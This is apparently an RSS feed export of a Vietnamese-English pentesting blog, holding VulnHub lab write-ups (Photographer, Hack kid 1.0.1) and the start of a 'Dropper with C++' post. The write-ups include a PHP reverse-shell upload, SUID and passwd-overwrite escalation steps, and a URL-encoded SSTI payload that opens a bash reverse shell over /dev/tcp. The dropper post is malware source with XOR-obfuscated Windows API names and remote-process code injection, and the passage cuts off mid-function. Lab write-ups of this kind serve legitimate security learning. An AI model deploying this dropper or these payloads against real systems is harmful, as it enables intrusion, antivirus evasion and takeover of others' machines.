&lt;p&gt;Kiểm tra quyền sudo và thấy user frank này có thể chạy sqlite3 với quyền root mặc định&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2049.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Exploit: &lt;a href=&quot;https://www.exploit-db.com/exploits/47502&quot;&gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/sqlite3/&quot;&gt;https://gtfobins.github.io/gtfobins/sqlite3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2050.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Now you pwned everything!!! It’s your time to play with the victim.&lt;/h1&gt;
&lt;h1&gt;End game!!!&lt;/h1&gt;
&lt;h1&gt;PS:&lt;/h1&gt;
&lt;p&gt;Nguồn tham khảo các CVE:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/&quot;&gt;https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Pentesting Diary - Hack with Me: [2] Photographer</title><link>https://wanderlens.vercel.app/posts/photographer/photographer-fc186c93d00c4cbab4ac18c62b8c1a33/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/photographer/photographer-fc186c93d00c4cbab4ac18c62b8c1a33/</guid><pubDate>Sun, 06 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Photographer|&lt;/h1&gt;
&lt;p&gt;BOX: Photographer&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://www.vulnhub.com/entry/photographer-1,519/&quot;&gt;https://www.vulnhub.com/entry/photographer-1,519/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;TO DO:&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x]  Info gathering. Nmap, nikto&lt;/li&gt;
&lt;li&gt;[x]  Exploit:
&lt;ul&gt;
&lt;li&gt;[x]  SMBCLIENT &lt;a&gt;//10.10.10.9/sambashare&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[x]  Login /admin page&lt;/li&gt;
&lt;li&gt;[x]  Shell uploaded&lt;/li&gt;
&lt;li&gt;[x]  Get Shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;[x]  Privilege escalation: SUID&lt;/li&gt;
&lt;li&gt;[x]  REPORT&lt;/li&gt;
&lt;li&gt;[x]  Done!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Info gathering:&lt;/h2&gt;
&lt;p&gt;Scan network để tìm ra IP của box.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IP Box là: 10.10.10.9. Map local dns cho tiện.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%201.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta chạy nmap và nikto xem thử:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%202.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%203.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Enum4linux:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%204.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cho chạy fuzz nè:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%205.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%206.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%207.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cho chạy fuzz tiếp trên port 8000&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%208.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%209.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Check các file và các directory ta thấy có /admin có thể useful&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2010.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Tổng kết những thông tin useful sau khi chạy fuzz nmap nikto các kiểu con đà điểu nè:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;PORT&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Vuln&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Exploitable&lt;/strong&gt;?&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18&lt;/td&gt;
&lt;td&gt;CVE 2019-0211&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Sẽ thử exploit theo cách này sau.                                                                               Link exploit: &lt;a href=&quot;https://www.exploit-db.com/exploits/46676&quot;&gt;https://www.exploit-db.com/exploits/46676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;139&lt;/td&gt;
&lt;td&gt;netbios-ssn&lt;/td&gt;
&lt;td&gt;Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;445&lt;/td&gt;
&lt;td&gt;netbios-ssn&lt;/td&gt;
&lt;td&gt;Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;8000&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18&lt;/td&gt;
&lt;td&gt;CVE 2019-0211&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nikto&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;nothing useful here&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Enum4linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a&gt;//10.10.10.9/sambashare&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PORT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;File/Directory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Exploitable ?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FUZZING&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;8000&lt;/td&gt;
&lt;td&gt;/admin&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;strong&gt;Exploit:&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Trước hết check smb share thử xem coi có gì đặc biệt hong.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2011.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2012.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Khi connect vào bằng smbclient thì ta thấy một file txt. Mở ra đọc thì ta thấy đây là nội dung của 1 email, dựa vào nội dung email này thì mình đoán được username &amp;amp;&amp;amp; password như sau:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;username = [daisa@photographer.com](mailto:daisa@photographer.com)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;password = babygirl&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2013.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở trên ta check được form login admin dashboard(/admin) thử điền username&amp;amp;&amp;amp;password này vào thử thì thấy nó work. Ok fine!!!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;login admin page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Theo kinh nghiệm của mình thì khi gặp các admin dashboard như này thì việc đầu tiên là check xem có chức năng upload không, nếu có thì tìm cách up shell(bypass filter nếu có). Khá may mắn là ở machine này chỉ filter mấy file hình ảnh cho nên mình dễ dàng bypass bằng cách đổi đuôi file bằng bủhsuite , gòi chỉ việc up lên ròi chiến hoiiii :&amp;lt;.&lt;/p&gt;
&lt;p&gt;Shell upload:&lt;/p&gt;
&lt;p&gt;Shell: &lt;a href=&quot;https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php&quot;&gt;https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2014.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2015.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege escalation:&lt;/h2&gt;
&lt;p&gt;Get root by SUID&lt;/p&gt;
&lt;p&gt;Ta check thấy file php này có SUID:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2016.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Get Flag! Enjoy ! !!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2017.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PS:&lt;/h2&gt;
&lt;p&gt;Linux privileges:&lt;/p&gt;
&lt;p&gt;SUID :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tìm files có SUID:
&lt;ul&gt;
&lt;li&gt;cmd: find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Privileges
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Khi SUID được gán cho lệnh copy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ta copy file etc/passwd về máy.&lt;/li&gt;
&lt;li&gt;Tạo một user mới có quyền root bằng openssl . Cmd: openssl passwd -1 -salt [salt value] {password}.&lt;/li&gt;
&lt;li&gt;Rồi thêm vào file cuối file passwd ở trên.&lt;/li&gt;
&lt;li&gt;Upload lại file passwd lên target vào folder /tmp/ xong ghi đè vào file passwd của target.&lt;/li&gt;
&lt;li&gt;cmd: su . Get root !!!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Khi SUID được gán cho lệnh find.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Khi SUID được gán cho vim&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Khác: Ví dụ ở bài trên thì ta check thấy SUID được gán cho file excute php7.2 thì chỉ cần tạo ra 1 bản copy của shell rồi ghi đè lên bỏ qua flag -p đi là get root được.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cmd :&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CMD=&quot;/bin/sh&quot;
php -r &quot;pcntl_exec(&apos;/bin/sh&apos;, [&apos;-p&apos;]);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Pentesting Diary - Hack with Me: [1] Hack kid 1.0.1</title><link>https://wanderlens.vercel.app/posts/hackid101/hack-kid-1-0-1-9eff9124976d4586af2a15abd05cfca3/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/hackid101/hack-kid-1-0-1-9eff9124976d4586af2a15abd05cfca3/</guid><pubDate>Fri, 04 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Hack kid 1.0.1 |&lt;/h1&gt;
&lt;p&gt;Scan network to discover the pentest box.
Using Nmap or netdiscovery:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here the pentest box’s IP is : 10.10.10.1
We use Nmap to scan port &amp;amp; service:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;nmap -sV 10.10.10.1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Port 80 and 9999 open a web server&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%201.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Map IP to local DNS by editing hosts file: vim /etc/hosts&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%202.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Review source web on port 80:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%203.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hint for using Get parameter “page_no”.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%204.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%205.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I use Burpsuit to Bruteforce the id then we got something at 21(I&apos;ve change to use Wfuzz instead next time):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%206.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Map IP to local DNS hackers.blackhat.local by editing file hosts again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%207.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%208.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using Dirsearch to find hidden directory but nothing is useful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%209.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The text is Uppercase Dig so I think it is a hint. I’ve to use dig tool to check all DNS records.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2010.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Got a new URL.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2011.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2012.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s trying to find something useful here.
I open this URL on Burpsuit and trying to check if it has XXE vulns&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2013.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yeah, we got something here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2014.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try to read some common files such as .bash_history,.bashrc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2015.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got a username and password on .bashrc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;username=&quot;saket&quot;
password=&quot;Saket!#$%@!!&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Use this info to login to web server on port 9999&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2016.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2017.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I’ve found out that this server has SSTI therefore I was tried to RCE it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2018.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2019.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yeah!?Now we’ve RCE it. Let go for PrivilegeEsc&lt;/p&gt;
&lt;p&gt;Use &lt;a href=&quot;http://lse.sh/&quot;&gt;lse.sh&lt;/a&gt; to check over the system. I’ve to use cap_sys_ptrace vuln to Privilege.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2020.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;use cap_sys-ptrace vuln to Privilege&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities&quot;&gt;https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2021.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inject payload →  get root and enjoy the winning moment :&amp;lt;&lt;/p&gt;
&lt;p&gt;RevShell payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%30%3c%26%31%39%36%3b%65%78%65%63%20%31%39%36%3c%3e%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%30%2e%34%2f%31%32%33%34%3b%20%73%68%20%3c%26%31%39%36%20%3e%26%31%39%36%20%32%3e%26%31%39%36%22%27%29%7d%7d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/carlospolop/PEASS-ng/releases/download/20220202/linpeas.sh&quot;&gt;https://github.com/carlospolop/PEASS-ng/releases/download/20220202/linpeas.sh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;wget &quot;&lt;a href=&quot;https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh&quot;&gt;https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh&lt;/a&gt;&quot; -O &lt;a href=&quot;http://lse.sh/&quot;&gt;lse.sh&lt;/a&gt;;chmod 700 &lt;a href=&quot;http://lse.sh/&quot;&gt;lse.sh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;cap_sys-ptrace : &lt;a href=&quot;https://pastebin.com/raw/5uT7vGPP&quot;&gt;https://pastebin.com/raw/5uT7vGPP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wfuzz:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-w wordlist&lt;/li&gt;
&lt;li&gt;-u url&lt;/li&gt;
&lt;li&gt;-hh x: find which is not x&lt;/li&gt;
&lt;li&gt;-c colorful&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PS: Lần sau sẽ dùng wfuzz để bruteforce thay vì dùng burpsuite.&lt;/p&gt;
</content:encoded></item><item><title>Dropper with C++</title><link>https://wanderlens.vercel.app/posts/dropper/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/dropper/</guid><pubDate>Wed, 02 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;Full POC 1&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;tlhelp32.h&amp;gt;
#include &quot;resources.h&quot;


void XOR(char * data, size_t data_len, char * key, size_t key_len){
	int j;
	
	j = 0;
	for (int i = 0; i &amp;lt; data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

HANDLE(WINAPI * pCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID); //Kernel32.dll
BOOL(WINAPI * pProcess32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pProcess32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pVirtualProtectEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); //Kernel32.dll
LPVOID(WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); //Kernel32.dll

BOOL(WINAPI * pCloseHandle)(HANDLE hObject); //Kernel32.dll
BOOL(WINAPI * pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten); //Kernel32.dll
HANDLE(WINAPI * pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD(WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); //Kernel32.dll
HANDLE(WINAPI * pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); //Kernel32.dll
HRSRC (WINAPI * pFindResource)(HMODULE hModule,LPCSTR  lpName,LPCSTR  lpType);//Kernel32.dll
HGLOBAL (WINAPI * pLoadResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
LPVOID (WINAPI * pLockResource)(HGLOBAL hResData);//Kernel32.dll
DWORD (WINAPI * pSizeofResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
VOID (WINAPI * pRtlMoveMemory)(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T  Length);//Kernel32.dll
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);//Kernel32.dll


char key[] = &quot;mysecretkeee&quot;;
char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
char sProcess32First[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x23, 0xc, 0x17, 0x1e, 0xd };
char sCloseHandle[] = { 0x2e, 0x15, 0x1c, 0x16, 0x6, 0x3a, 0x4, 0x1a, 0xf, 0x9, 0x0 };
char sProcess32Next[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x2b, 0x0, 0x1d, 0x19 };
char sWaitForSingleObject[] = { 0x3a, 0x18, 0x1a, 0x11, 0x25, 0x1d, 0x17, 0x27, 0x2, 0xb, 0x2, 0x9, 0x8, 0x36, 0x11, 0xf, 0x6, 0x11, 0x11 };
char sFindResourceA[] = { 0x2b, 0x10, 0x1d, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0, 0x2c };
char sLoadResource[] = { 0x21, 0x16, 0x12, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
char sLockResource[] = { 0x21, 0x16, 0x10, 0xe, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
char sSizeofResource[] = { 0x3e, 0x10, 0x9, 0x0, 0xc, 0x14, 0x37, 0x11, 0x18, 0xa, 0x10, 0x17, 0xe, 0x1c };
char sVirtualAlloc[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6 };
char sRtlMoveMemory[] = { 0x3f, 0xd, 0x1f, 0x28, 0xc, 0x4, 0x0, 0x39, 0xe, 0x8, 0xa, 0x17, 0x14 };
char sOpenProcess[] = { 0x22, 0x9, 0x16, 0xb, 0x33, 0x0, 0xa, 0x17, 0xe, 0x16, 0x16 };
char skernel32[] = &quot;kernel32.dll&quot;;
char sNtdll[] = &quot;Ntdll.dll&quot;;

char sCreateToolhelp32Snapshot[] = &quot;CreateToolhelp32Snapshot&quot;;

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;

		XOR((char *) sProcess32First, sizeof(sProcess32First), key, sizeof(key));
		XOR((char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));
		XOR((char *) sProcess32Next, sizeof(sProcess32Next), key, sizeof(key));


		pProcess32First = GetProcAddress(GetModuleHandle(skernel32), sProcess32First);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pProcess32Next = GetProcAddress(GetModuleHandle(skernel32), sProcess32Next);

		pCreateToolhelp32Snapshot = GetProcAddress(GetModuleHandle(skernel32), sCreateToolhelp32Snapshot);

                
        hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!pProcess32First(hProcSnap, &amp;amp;pe32)) {
                pCloseHandle(hProcSnap);
                return 0;
        }
                
        while (pProcess32Next(hProcSnap, &amp;amp;pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        pCloseHandle(hProcSnap);
                
        return pid;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;		

		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		XOR((char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), key, sizeof(key));
		XOR((char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));

		pVirtualAllocEx = GetProcAddress(GetModuleHandle(skernel32), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle(skernel32), sWriteProcessMemory);
